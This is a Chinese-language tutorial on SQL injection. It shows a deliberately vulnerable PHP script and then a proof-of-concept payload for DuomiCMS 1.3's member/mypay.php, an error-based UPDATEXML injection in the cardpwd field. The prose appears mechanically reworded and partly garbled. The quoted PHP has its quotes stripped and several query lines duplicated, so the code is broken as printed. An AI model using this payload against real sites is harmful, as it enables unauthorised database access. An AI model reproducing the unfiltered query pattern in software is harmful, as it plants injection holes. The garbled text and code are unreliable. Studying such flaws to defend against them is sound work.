什么是SQL注入
SQL注入攻击(SQL Injection),简叫作注入攻击,是Web研发中最平常的一种安全漏洞。能够用它来从数据库获取敏锐信息,或利用数据库的特性执行添加用户,导出文件等一系列恶意操作,乃至有可能获取数据库乃至系统用户最高权限。
而导致SQL注入的原由是由于程序无有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查找代码,程序在接收后错误的将攻击者的输入做为查找语句的一部分执行,引起原始的查找规律被改变,额外的执行了攻击者精心构造的恶意代码。
SQL注入实例
非常多Web研发者无认识到SQL查找是能够被篡改的,从而把SQL查找当作可信任的命令。殊不知,SQL查找是能够绕开拜访掌控,从而绕过身份验证和权限检测的。更有甚者,有可能经过SQL查找去运行主机系统级的命令。
下面将经过有些真实的例子来仔细讲解SQL注入的方式。
测试代码如下:
<?php
$uid=$_GET[id];
$sql="SELECT * FROM userinfo where id=$uid";
$conn=mysql_connect (localhost,root,root);
mysql_select_db("sql",$conn);
$result=mysql_query($sql,$conn);
print_r(当前SQL语句: .$sql. 结果: );
print_r(mysql_fetch_row($result));
?>
首要咱们看一下代码:
$uid=$_GET[id]; //获取GET值
$sql="SELECT * FROM userinfo where id=$uid";//执行SQL语句
$conn=mysql_connect (localhost,root,root);
mysql_select_db("sql",$conn);//数据库配配置
$result=mysql_query($sql,$conn);//进行查找SQL语句
print_r(当前SQL语句: .$sql. 结果: );
print_r(mysql_fetch_row($result));//进行打印输出无任何的过滤因此利用简单的SQL注入语句就能够直接查找关联需要的信息。
从截图能够看出本来的SQL语句已被注入更改,运用了UNION查找到当前用户。
另一一个多米CMS最新版1.3版本注入实例。
漏洞文件member/mypay.php(14-40行)
if(empty($_SESSION[duomi_user_id])){
showMsg("请先登录","login.php");
exit();
}
elseif($dm==mypay){
$key=$_POST[cardkey];
if($key==""){showMsg("请输入充值卡号","-1");exit;}
$pwd=$_POST[cardpwd];
if($pwd==""){showMsg("请输入充值卡秘码","-1");exit;}
$sqlt="SELECT * FROM duomi_card where ckey=$key";
$sqlt="SELECT * FROM duomi_card where cpwd=$pwd";
$row1 = $dsql->GetOne($sqlt);
if(!is_array($row1) OR $row1[status]<>0){
showMsg("充值卡信息有误","-1");exit;
}else{
$uname=$_SESSION[duomi_user_name];
$points=$row1[climit];
$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=$uname,status=1 WHERE ckey=$key");
$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=$uname,status=1 WHERE cpwd=$pwd");
$dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username=$uname");
showMsg("恭喜!充值成功!","mypay.php");exit;
}
}
else
{
此处的”cardpwd”变量无进行过滤就以POST提交方式传入了数据库导致注入。 构造POC如下(重视此处需要注册用户并且登陆详情请看该文件1-17行):
http://localhost/member/mypay.php?dm=mypay
POST:cardpwd=-1 AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and 1=1
|